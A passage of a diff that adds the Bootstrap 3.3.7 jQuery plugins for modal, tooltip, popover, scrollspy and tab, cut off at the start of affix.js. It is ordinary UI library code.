++ this.$backdrop = $(document.createElement('div'))
++ .addClass('modal-backdrop ' + animate)
++ .appendTo(this.$body)
++
++ this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) {
++ if (this.ignoreBackdropClick) {
++ this.ignoreBackdropClick = false
++ return
++ }
++ if (e.target !== e.currentTarget) return
++ this.options.backdrop == 'static'
++ ? this.$element[0].focus()
++ : this.hide()
++ }, this))
++
++ if (doAnimate) this.$backdrop[0].offsetWidth // force reflow
++
++ this.$backdrop.addClass('in')
++
++ if (!callback) return
++
++ doAnimate ?
++ this.$backdrop
++ .one('bsTransitionEnd', callback)
++ .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :
++ callback()
++
++ } else if (!this.isShown && this.$backdrop) {
++ this.$backdrop.removeClass('in')
++
++ var callbackRemove = function () {
++ that.removeBackdrop()
++ callback && callback()
++ }
++ $.support.transition && this.$element.hasClass('fade') ?
++ this.$backdrop
++ .one('bsTransitionEnd', callbackRemove)
++ .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :
++ callbackRemove()
++
++ } else if (callback) {
++ callback()
++ }
++ }
++
++ // these following methods are used to handle overflowing modals
++
++ Modal.prototype.handleUpdate = function () {
++ this.adjustDialog()
++ }
++
++ Modal.prototype.adjustDialog = function () {
++ var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight
++
++ this.$element.css({
++ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '',
++ paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : ''
++ })
++ }
++
++ Modal.prototype.resetAdjustments = function () {
++ this.$element.css({
++ paddingLeft: '',
++ paddingRight: ''
++ })
++ }
++
++ Modal.prototype.checkScrollbar = function () {
++ var fullWindowWidth = window.innerWidth
++ if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8
++ var documentElementRect = document.documentElement.getBoundingClientRect()
++ fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left)
++ }
++ this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth
++ this.scrollbarWidth = this.measureScrollbar()
++ }
++
++ Modal.prototype.setScrollbar = function () {
++ var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10)
++ this.originalBodyPad = document.body.style.paddingRight || ''
++ if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth)
++ }
++
++ Modal.prototype.resetScrollbar = function () {
++ this.$body.css('padding-right', this.originalBodyPad)
++ }
++
++ Modal.prototype.measureScrollbar = function () { // thx walsh
++ var scrollDiv = document.createElement('div')
++ scrollDiv.className = 'modal-scrollbar-measure'
++ this.$body.append(scrollDiv)
++ var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth
++ this.$body[0].removeChild(scrollDiv)
++ return scrollbarWidth
++ }
++
++
++ // MODAL PLUGIN DEFINITION
++ // =======================
++
++ function Plugin(option, _relatedTarget) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.modal')
++ var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option)
++
++ if (!data) $this.data('bs.modal', (data = new Modal(this, options)))
++ if (typeof option == 'string') data[option](_relatedTarget)
++ else if (options.show) data.show(_relatedTarget)
++ })
++ }
++
++ var old = $.fn.modal
++
++ $.fn.modal = Plugin
++ $.fn.modal.Constructor = Modal
++
++
++ // MODAL NO CONFLICT
++ // =================
++
++ $.fn.modal.noConflict = function () {
++ $.fn.modal = old
++ return this
++ }
++
++
++ // MODAL DATA-API
++ // ==============
++
++ $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) {
++ var $this = $(this)
++ var href = $this.attr('href')
++ var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7
++ var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())
++
++ if ($this.is('a')) e.preventDefault()
++
++ $target.one('show.bs.modal', function (showEvent) {
++ if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown
++ $target.one('hidden.bs.modal', function () {
++ $this.is(':visible') && $this.trigger('focus')
++ })
++ })
++ Plugin.call($target, option, this)
++ })
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: tooltip.js v3.3.7
++ * http://getbootstrap.com/javascript/#tooltip
++ * Inspired by the original jQuery.tipsy by Jason Frame
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // TOOLTIP PUBLIC CLASS DEFINITION
++ // ===============================
++
++ var Tooltip = function (element, options) {
++ this.type = null
++ this.options = null
++ this.enabled = null
++ this.timeout = null
++ this.hoverState = null
++ this.$element = null
++ this.inState = null
++
++ this.init('tooltip', element, options)
++ }
++
++ Tooltip.VERSION = '3.3.7'
++
++ Tooltip.TRANSITION_DURATION = 150
++
++ Tooltip.DEFAULTS = {
++ animation: true,
++ placement: 'top',
++ selector: false,
++ template: '<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',
++ trigger: 'hover focus',
++ title: '',
++ delay: 0,
++ html: false,
++ container: false,
++ viewport: {
++ selector: 'body',
++ padding: 0
++ }
++ }
++
++ Tooltip.prototype.init = function (type, element, options) {
++ this.enabled = true
++ this.type = type
++ this.$element = $(element)
++ this.options = this.getOptions(options)
++ this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport))
++ this.inState = { click: false, hover: false, focus: false }
++
++ if (this.$element[0] instanceof document.constructor && !this.options.selector) {
++ throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!')
++ }
++
++ var triggers = this.options.trigger.split(' ')
++
++ for (var i = triggers.length; i--;) {
++ var trigger = triggers[i]
++
++ if (trigger == 'click') {
++ this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this))
++ } else if (trigger != 'manual') {
++ var eventIn = trigger == 'hover' ? 'mouseenter' : 'focusin'
++ var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout'
++
++ this.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this))
++ this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this))
++ }
++ }
++
++ this.options.selector ?
++ (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) :
++ this.fixTitle()
++ }
++
++ Tooltip.prototype.getDefaults = function () {
++ return Tooltip.DEFAULTS
++ }
++
++ Tooltip.prototype.getOptions = function (options) {
++ options = $.extend({}, this.getDefaults(), this.$element.data(), options)
++
++ if (options.delay && typeof options.delay == 'number') {
++ options.delay = {
++ show: options.delay,
++ hide: options.delay
++ }
++ }
++
++ return options
++ }
++
++ Tooltip.prototype.getDelegateOptions = function () {
++ var options = {}
++ var defaults = this.getDefaults()
++
++ this._options && $.each(this._options, function (key, value) {
++ if (defaults[key] != value) options[key] = value
++ })
++
++ return options
++ }
++
++ Tooltip.prototype.enter = function (obj) {
++ var self = obj instanceof this.constructor ?
++ obj : $(obj.currentTarget).data('bs.' + this.type)
++
++ if (!self) {
++ self = new this.constructor(obj.currentTarget, this.getDelegateOptions())
++ $(obj.currentTarget).data('bs.' + this.type, self)
++ }
++
++ if (obj instanceof $.Event) {
++ self.inState[obj.type == 'focusin' ? 'focus' : 'hover'] = true
++ }
++
++ if (self.tip().hasClass('in') || self.hoverState == 'in') {
++ self.hoverState = 'in'
++ return
++ }
++
++ clearTimeout(self.timeout)
++
++ self.hoverState = 'in'
++
++ if (!self.options.delay || !self.options.delay.show) return self.show()
++
++ self.timeout = setTimeout(function () {
++ if (self.hoverState == 'in') self.show()
++ }, self.options.delay.show)
++ }
++
++ Tooltip.prototype.isInStateTrue = function () {
++ for (var key in this.inState) {
++ if (this.inState[key]) return true
++ }
++
++ return false
++ }
++
++ Tooltip.prototype.leave = function (obj) {
++ var self = obj instanceof this.constructor ?
++ obj : $(obj.currentTarget).data('bs.' + this.type)
++
++ if (!self) {
++ self = new this.constructor(obj.currentTarget, this.getDelegateOptions())
++ $(obj.currentTarget).data('bs.' + this.type, self)
++ }
++
++ if (obj instanceof $.Event) {
++ self.inState[obj.type == 'focusout' ? 'focus' : 'hover'] = false
++ }
++
++ if (self.isInStateTrue()) return
++
++ clearTimeout(self.timeout)
++
++ self.hoverState = 'out'
++
++ if (!self.options.delay || !self.options.delay.hide) return self.hide()
++
++ self.timeout = setTimeout(function () {
++ if (self.hoverState == 'out') self.hide()
++ }, self.options.delay.hide)
++ }
++
++ Tooltip.prototype.show = function () {
++ var e = $.Event('show.bs.' + this.type)
++
++ if (this.hasContent() && this.enabled) {
++ this.$element.trigger(e)
++
++ var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0])
++ if (e.isDefaultPrevented() || !inDom) return
++ var that = this
++
++ var $tip = this.tip()
++
++ var tipId = this.getUID(this.type)
++
++ this.setContent()
++ $tip.attr('id', tipId)
++ this.$element.attr('aria-describedby', tipId)
++
++ if (this.options.animation) $tip.addClass('fade')
++
++ var placement = typeof this.options.placement == 'function' ?
++ this.options.placement.call(this, $tip[0], this.$element[0]) :
++ this.options.placement
++
++ var autoToken = /\s?auto?\s?/i
++ var autoPlace = autoToken.test(placement)
++ if (autoPlace) placement = placement.replace(autoToken, '') || 'top'
++
++ $tip
++ .detach()
++ .css({ top: 0, left: 0, display: 'block' })
++ .addClass(placement)
++ .data('bs.' + this.type, this)
++
++ this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)
++ this.$element.trigger('inserted.bs.' + this.type)
++
++ var pos = this.getPosition()
++ var actualWidth = $tip[0].offsetWidth
++ var actualHeight = $tip[0].offsetHeight
++
++ if (autoPlace) {
++ var orgPlacement = placement
++ var viewportDim = this.getPosition(this.$viewport)
++
++ placement = placement == 'bottom' && pos.bottom + actualHeight > viewportDim.bottom ? 'top' :
++ placement == 'top' && pos.top - actualHeight < viewportDim.top ? 'bottom' :
++ placement == 'right' && pos.right + actualWidth > viewportDim.width ? 'left' :
++ placement == 'left' && pos.left - actualWidth < viewportDim.left ? 'right' :
++ placement
++
++ $tip
++ .removeClass(orgPlacement)
++ .addClass(placement)
++ }
++
++ var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight)
++
++ this.applyPlacement(calculatedOffset, placement)
++
++ var complete = function () {
++ var prevHoverState = that.hoverState
++ that.$element.trigger('shown.bs.' + that.type)
++ that.hoverState = null
++
++ if (prevHoverState == 'out') that.leave(that)
++ }
++
++ $.support.transition && this.$tip.hasClass('fade') ?
++ $tip
++ .one('bsTransitionEnd', complete)
++ .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :
++ complete()
++ }
++ }
++
++ Tooltip.prototype.applyPlacement = function (offset, placement) {
++ var $tip = this.tip()
++ var width = $tip[0].offsetWidth
++ var height = $tip[0].offsetHeight
++
++ // manually read margins because getBoundingClientRect includes difference
++ var marginTop = parseInt($tip.css('margin-top'), 10)
++ var marginLeft = parseInt($tip.css('margin-left'), 10)
++
++ // we must check for NaN for ie 8/9
++ if (isNaN(marginTop)) marginTop = 0
++ if (isNaN(marginLeft)) marginLeft = 0
++
++ offset.top += marginTop
++ offset.left += marginLeft
++
++ // $.fn.offset doesn't round pixel values
++ // so we use setOffset directly with our own function B-0
++ $.offset.setOffset($tip[0], $.extend({
++ using: function (props) {
++ $tip.css({
++ top: Math.round(props.top),
++ left: Math.round(props.left)
++ })
++ }
++ }, offset), 0)
++
++ $tip.addClass('in')
++
++ // check to see if placing tip in new offset caused the tip to resize itself
++ var actualWidth = $tip[0].offsetWidth
++ var actualHeight = $tip[0].offsetHeight
++
++ if (placement == 'top' && actualHeight != height) {
++ offset.top = offset.top + height - actualHeight
++ }
++
++ var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight)
++
++ if (delta.left) offset.left += delta.left
++ else offset.top += delta.top
++
++ var isVertical = /top|bottom/.test(placement)
++ var arrowDelta = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight
++ var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight'
++
++ $tip.offset(offset)
++ this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical)
++ }
++
++ Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) {
++ this.arrow()
++ .css(isVertical ? 'left' : 'top', 50 * (1 - delta / dimension) + '%')
++ .css(isVertical ? 'top' : 'left', '')
++ }
++
++ Tooltip.prototype.setContent = function () {
++ var $tip = this.tip()
++ var title = this.getTitle()
++
++ $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title)
++ $tip.removeClass('fade in top bottom left right')
++ }
++
++ Tooltip.prototype.hide = function (callback) {
++ var that = this
++ var $tip = $(this.$tip)
++ var e = $.Event('hide.bs.' + this.type)
++
++ function complete() {
++ if (that.hoverState != 'in') $tip.detach()
++ if (that.$element) { // TODO: Check whether guarding this code with this `if` is really necessary.
++ that.$element
++ .removeAttr('aria-describedby')
++ .trigger('hidden.bs.' + that.type)
++ }
++ callback && callback()
++ }
++
++ this.$element.trigger(e)
++
++ if (e.isDefaultPrevented()) return
++
++ $tip.removeClass('in')
++
++ $.support.transition && $tip.hasClass('fade') ?
++ $tip
++ .one('bsTransitionEnd', complete)
++ .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :
++ complete()
++
++ this.hoverState = null
++
++ return this
++ }
++
++ Tooltip.prototype.fixTitle = function () {
++ var $e = this.$element
++ if ($e.attr('title') || typeof $e.attr('data-original-title') != 'string') {
++ $e.attr('data-original-title', $e.attr('title') || '').attr('title', '')
++ }
++ }
++
++ Tooltip.prototype.hasContent = function () {
++ return this.getTitle()
++ }
++
++ Tooltip.prototype.getPosition = function ($element) {
++ $element = $element || this.$element
++
++ var el = $element[0]
++ var isBody = el.tagName == 'BODY'
++
++ var elRect = el.getBoundingClientRect()
++ if (elRect.width == null) {
++ // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093
++ elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top })
++ }
++ var isSvg = window.SVGElement && el instanceof window.SVGElement
++ // Avoid using $.offset() on SVGs since it gives incorrect results in jQuery 3.
++ // See https://github.com/twbs/bootstrap/issues/20280
++ var elOffset = isBody ? { top: 0, left: 0 } : (isSvg ? null : $element.offset())
++ var scroll = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() }
++ var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null
++
++ return $.extend({}, elRect, scroll, outerDims, elOffset)
++ }
++
++ Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) {
++ return placement == 'bottom' ? { top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2 } :
++ placement == 'top' ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } :
++ placement == 'left' ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } :
++ /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width }
++
++ }
++
++ Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) {
++ var delta = { top: 0, left: 0 }
++ if (!this.$viewport) return delta
++
++ var viewportPadding = this.options.viewport && this.options.viewport.padding || 0
++ var viewportDimensions = this.getPosition(this.$viewport)
++
++ if (/right|left/.test(placement)) {
++ var topEdgeOffset = pos.top - viewportPadding - viewportDimensions.scroll
++ var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight
++ if (topEdgeOffset < viewportDimensions.top) { // top overflow
++ delta.top = viewportDimensions.top - topEdgeOffset
++ } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow
++ delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset
++ }
++ } else {
++ var leftEdgeOffset = pos.left - viewportPadding
++ var rightEdgeOffset = pos.left + viewportPadding + actualWidth
++ if (leftEdgeOffset < viewportDimensions.left) { // left overflow
++ delta.left = viewportDimensions.left - leftEdgeOffset
++ } else if (rightEdgeOffset > viewportDimensions.right) { // right overflow
++ delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset
++ }
++ }
++
++ return delta
++ }
++
++ Tooltip.prototype.getTitle = function () {
++ var title
++ var $e = this.$element
++ var o = this.options
++
++ title = $e.attr('data-original-title')
++ || (typeof o.title == 'function' ? o.title.call($e[0]) : o.title)
++
++ return title
++ }
++
++ Tooltip.prototype.getUID = function (prefix) {
++ do prefix += ~~(Math.random() * 1000000)
++ while (document.getElementById(prefix))
++ return prefix
++ }
++
++ Tooltip.prototype.tip = function () {
++ if (!this.$tip) {
++ this.$tip = $(this.options.template)
++ if (this.$tip.length != 1) {
++ throw new Error(this.type + ' `template` option must consist of exactly 1 top-level element!')
++ }
++ }
++ return this.$tip
++ }
++
++ Tooltip.prototype.arrow = function () {
++ return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow'))
++ }
++
++ Tooltip.prototype.enable = function () {
++ this.enabled = true
++ }
++
++ Tooltip.prototype.disable = function () {
++ this.enabled = false
++ }
++
++ Tooltip.prototype.toggleEnabled = function () {
++ this.enabled = !this.enabled
++ }
++
++ Tooltip.prototype.toggle = function (e) {
++ var self = this
++ if (e) {
++ self = $(e.currentTarget).data('bs.' + this.type)
++ if (!self) {
++ self = new this.constructor(e.currentTarget, this.getDelegateOptions())
++ $(e.currentTarget).data('bs.' + this.type, self)
++ }
++ }
++
++ if (e) {
++ self.inState.click = !self.inState.click
++ if (self.isInStateTrue()) self.enter(self)
++ else self.leave(self)
++ } else {
++ self.tip().hasClass('in') ? self.leave(self) : self.enter(self)
++ }
++ }
++
++ Tooltip.prototype.destroy = function () {
++ var that = this
++ clearTimeout(this.timeout)
++ this.hide(function () {
++ that.$element.off('.' + that.type).removeData('bs.' + that.type)
++ if (that.$tip) {
++ that.$tip.detach()
++ }
++ that.$tip = null
++ that.$arrow = null
++ that.$viewport = null
++ that.$element = null
++ })
++ }
++
++
++ // TOOLTIP PLUGIN DEFINITION
++ // =========================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.tooltip')
++ var options = typeof option == 'object' && option
++
++ if (!data && /destroy|hide/.test(option)) return
++ if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))
++ if (typeof option == 'string') data[option]()
++ })
++ }
++
++ var old = $.fn.tooltip
++
++ $.fn.tooltip = Plugin
++ $.fn.tooltip.Constructor = Tooltip
++
++
++ // TOOLTIP NO CONFLICT
++ // ===================
++
++ $.fn.tooltip.noConflict = function () {
++ $.fn.tooltip = old
++ return this
++ }
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: popover.js v3.3.7
++ * http://getbootstrap.com/javascript/#popovers
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // POPOVER PUBLIC CLASS DEFINITION
++ // ===============================
++
++ var Popover = function (element, options) {
++ this.init('popover', element, options)
++ }
++
++ if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js')
++
++ Popover.VERSION = '3.3.7'
++
++ Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, {
++ placement: 'right',
++ trigger: 'click',
++ content: '',
++ template: '<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'
++ })
++
++
++ // NOTE: POPOVER EXTENDS tooltip.js
++ // ================================
++
++ Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype)
++
++ Popover.prototype.constructor = Popover
++
++ Popover.prototype.getDefaults = function () {
++ return Popover.DEFAULTS
++ }
++
++ Popover.prototype.setContent = function () {
++ var $tip = this.tip()
++ var title = this.getTitle()
++ var content = this.getContent()
++
++ $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title)
++ $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events
++ this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text'
++ ](content)
++
++ $tip.removeClass('fade top bottom left right in')
++
++ // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do
++ // this manually by checking the contents.
++ if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide()
++ }
++
++ Popover.prototype.hasContent = function () {
++ return this.getTitle() || this.getContent()
++ }
++
++ Popover.prototype.getContent = function () {
++ var $e = this.$element
++ var o = this.options
++
++ return $e.attr('data-content')
++ || (typeof o.content == 'function' ?
++ o.content.call($e[0]) :
++ o.content)
++ }
++
++ Popover.prototype.arrow = function () {
++ return (this.$arrow = this.$arrow || this.tip().find('.arrow'))
++ }
++
++
++ // POPOVER PLUGIN DEFINITION
++ // =========================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.popover')
++ var options = typeof option == 'object' && option
++
++ if (!data && /destroy|hide/.test(option)) return
++ if (!data) $this.data('bs.popover', (data = new Popover(this, options)))
++ if (typeof option == 'string') data[option]()
++ })
++ }
++
++ var old = $.fn.popover
++
++ $.fn.popover = Plugin
++ $.fn.popover.Constructor = Popover
++
++
++ // POPOVER NO CONFLICT
++ // ===================
++
++ $.fn.popover.noConflict = function () {
++ $.fn.popover = old
++ return this
++ }
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: scrollspy.js v3.3.7
++ * http://getbootstrap.com/javascript/#scrollspy
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // SCROLLSPY CLASS DEFINITION
++ // ==========================
++
++ function ScrollSpy(element, options) {
++ this.$body = $(document.body)
++ this.$scrollElement = $(element).is(document.body) ? $(window) : $(element)
++ this.options = $.extend({}, ScrollSpy.DEFAULTS, options)
++ this.selector = (this.options.target || '') + ' .nav li > a'
++ this.offsets = []
++ this.targets = []
++ this.activeTarget = null
++ this.scrollHeight = 0
++
++ this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this))
++ this.refresh()
++ this.process()
++ }
++
++ ScrollSpy.VERSION = '3.3.7'
++
++ ScrollSpy.DEFAULTS = {
++ offset: 10
++ }
++
++ ScrollSpy.prototype.getScrollHeight = function () {
++ return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight)
++ }
++
++ ScrollSpy.prototype.refresh = function () {
++ var that = this
++ var offsetMethod = 'offset'
++ var offsetBase = 0
++
++ this.offsets = []
++ this.targets = []
++ this.scrollHeight = this.getScrollHeight()
++
++ if (!$.isWindow(this.$scrollElement[0])) {
++ offsetMethod = 'position'
++ offsetBase = this.$scrollElement.scrollTop()
++ }
++
++ this.$body
++ .find(this.selector)
++ .map(function () {
++ var $el = $(this)
++ var href = $el.data('target') || $el.attr('href')
++ var $href = /^#./.test(href) && $(href)
++
++ return ($href
++ && $href.length
++ && $href.is(':visible')
++ && [[$href[offsetMethod]().top + offsetBase, href]]) || null
++ })
++ .sort(function (a, b) { return a[0] - b[0] })
++ .each(function () {
++ that.offsets.push(this[0])
++ that.targets.push(this[1])
++ })
++ }
++
++ ScrollSpy.prototype.process = function () {
++ var scrollTop = this.$scrollElement.scrollTop() + this.options.offset
++ var scrollHeight = this.getScrollHeight()
++ var maxScroll = this.options.offset + scrollHeight - this.$scrollElement.height()
++ var offsets = this.offsets
++ var targets = this.targets
++ var activeTarget = this.activeTarget
++ var i
++
++ if (this.scrollHeight != scrollHeight) {
++ this.refresh()
++ }
++
++ if (scrollTop >= maxScroll) {
++ return activeTarget != (i = targets[targets.length - 1]) && this.activate(i)
++ }
++
++ if (activeTarget && scrollTop < offsets[0]) {
++ this.activeTarget = null
++ return this.clear()
++ }
++
++ for (i = offsets.length; i--;) {
++ activeTarget != targets[i]
++ && scrollTop >= offsets[i]
++ && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1])
++ && this.activate(targets[i])
++ }
++ }
++
++ ScrollSpy.prototype.activate = function (target) {
++ this.activeTarget = target
++
++ this.clear()
++
++ var selector = this.selector +
++ '[data-target="' + target + '"],' +
++ this.selector + '[href="' + target + '"]'
++
++ var active = $(selector)
++ .parents('li')
++ .addClass('active')
++
++ if (active.parent('.dropdown-menu').length) {
++ active = active
++ .closest('li.dropdown')
++ .addClass('active')
++ }
++
++ active.trigger('activate.bs.scrollspy')
++ }
++
++ ScrollSpy.prototype.clear = function () {
++ $(this.selector)
++ .parentsUntil(this.options.target, '.active')
++ .removeClass('active')
++ }
++
++
++ // SCROLLSPY PLUGIN DEFINITION
++ // ===========================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.scrollspy')
++ var options = typeof option == 'object' && option
++
++ if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options)))
++ if (typeof option == 'string') data[option]()
++ })
++ }
++
++ var old = $.fn.scrollspy
++
++ $.fn.scrollspy = Plugin
++ $.fn.scrollspy.Constructor = ScrollSpy
++
++
++ // SCROLLSPY NO CONFLICT
++ // =====================
++
++ $.fn.scrollspy.noConflict = function () {
++ $.fn.scrollspy = old
++ return this
++ }
++
++
++ // SCROLLSPY DATA-API
++ // ==================
++
++ $(window).on('load.bs.scrollspy.data-api', function () {
++ $('[data-spy="scroll"]').each(function () {
++ var $spy = $(this)
++ Plugin.call($spy, $spy.data())
++ })
++ })
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: tab.js v3.3.7
++ * http://getbootstrap.com/javascript/#tabs
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
++
++ // TAB CLASS DEFINITION
++ // ====================
++
++ var Tab = function (element) {
++ // jscs:disable requireDollarBeforejQueryAssignment
++ this.element = $(element)
++ // jscs:enable requireDollarBeforejQueryAssignment
++ }
++
++ Tab.VERSION = '3.3.7'
++
++ Tab.TRANSITION_DURATION = 150
++
++ Tab.prototype.show = function () {
++ var $this = this.element
++ var $ul = $this.closest('ul:not(.dropdown-menu)')
++ var selector = $this.data('target')
++
++ if (!selector) {
++ selector = $this.attr('href')
++ selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
++ }
++
++ if ($this.parent('li').hasClass('active')) return
++
++ var $previous = $ul.find('.active:last a')
++ var hideEvent = $.Event('hide.bs.tab', {
++ relatedTarget: $this[0]
++ })
++ var showEvent = $.Event('show.bs.tab', {
++ relatedTarget: $previous[0]
++ })
++
++ $previous.trigger(hideEvent)
++ $this.trigger(showEvent)
++
++ if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return
++
++ var $target = $(selector)
++
++ this.activate($this.closest('li'), $ul)
++ this.activate($target, $target.parent(), function () {
++ $previous.trigger({
++ type: 'hidden.bs.tab',
++ relatedTarget: $this[0]
++ })
++ $this.trigger({
++ type: 'shown.bs.tab',
++ relatedTarget: $previous[0]
++ })
++ })
++ }
++
++ Tab.prototype.activate = function (element, container, callback) {
++ var $active = container.find('> .active')
++ var transition = callback
++ && $.support.transition
++ && ($active.length && $active.hasClass('fade') || !!container.find('> .fade').length)
++
++ function next() {
++ $active
++ .removeClass('active')
++ .find('> .dropdown-menu > .active')
++ .removeClass('active')
++ .end()
++ .find('[data-toggle="tab"]')
++ .attr('aria-expanded', false)
++
++ element
++ .addClass('active')
++ .find('[data-toggle="tab"]')
++ .attr('aria-expanded', true)
++
++ if (transition) {
++ element[0].offsetWidth // reflow for transition
++ element.addClass('in')
++ } else {
++ element.removeClass('fade')
++ }
++
++ if (element.parent('.dropdown-menu').length) {
++ element
++ .closest('li.dropdown')
++ .addClass('active')
++ .end()
++ .find('[data-toggle="tab"]')
++ .attr('aria-expanded', true)
++ }
++
++ callback && callback()
++ }
++
++ $active.length && transition ?
++ $active
++ .one('bsTransitionEnd', next)
++ .emulateTransitionEnd(Tab.TRANSITION_DURATION) :
++ next()
++
++ $active.removeClass('in')
++ }
++
++
++ // TAB PLUGIN DEFINITION
++ // =====================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.tab')
++
++ if (!data) $this.data('bs.tab', (data = new Tab(this)))
++ if (typeof option == 'string') data[option]()
++ })
++ }
++
++ var old = $.fn.tab
++
++ $.fn.tab = Plugin
++ $.fn.tab.Constructor = Tab
++
++
++ // TAB NO CONFLICT
++ // ===============
++
++ $.fn.tab.noConflict = function () {
++ $.fn.tab = old
++ return this
++ }
++
++
++ // TAB DATA-API
++ // ============
++
++ var clickHandler = function (e) {
++ e.preventDefault()
++ Plugin.call($(this), 'show')
++ }
++
++ $(document)
++ .on('click.bs.tab.data-api', '[data-toggle="tab"]', clickHandler)
++ .on('click.bs.tab.data-api', '[data-toggle="pill"]', clickHandler)
++
++}(jQuery);
++
++/* ========================================================================
++ * Bootstrap: affix.js v3.3.7
++ * http://getbootstrap.com/javascript/#affix
++ * ========================================================================
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
++ * ======================================================================== */
++
++
+++function ($) {
++ 'use strict';
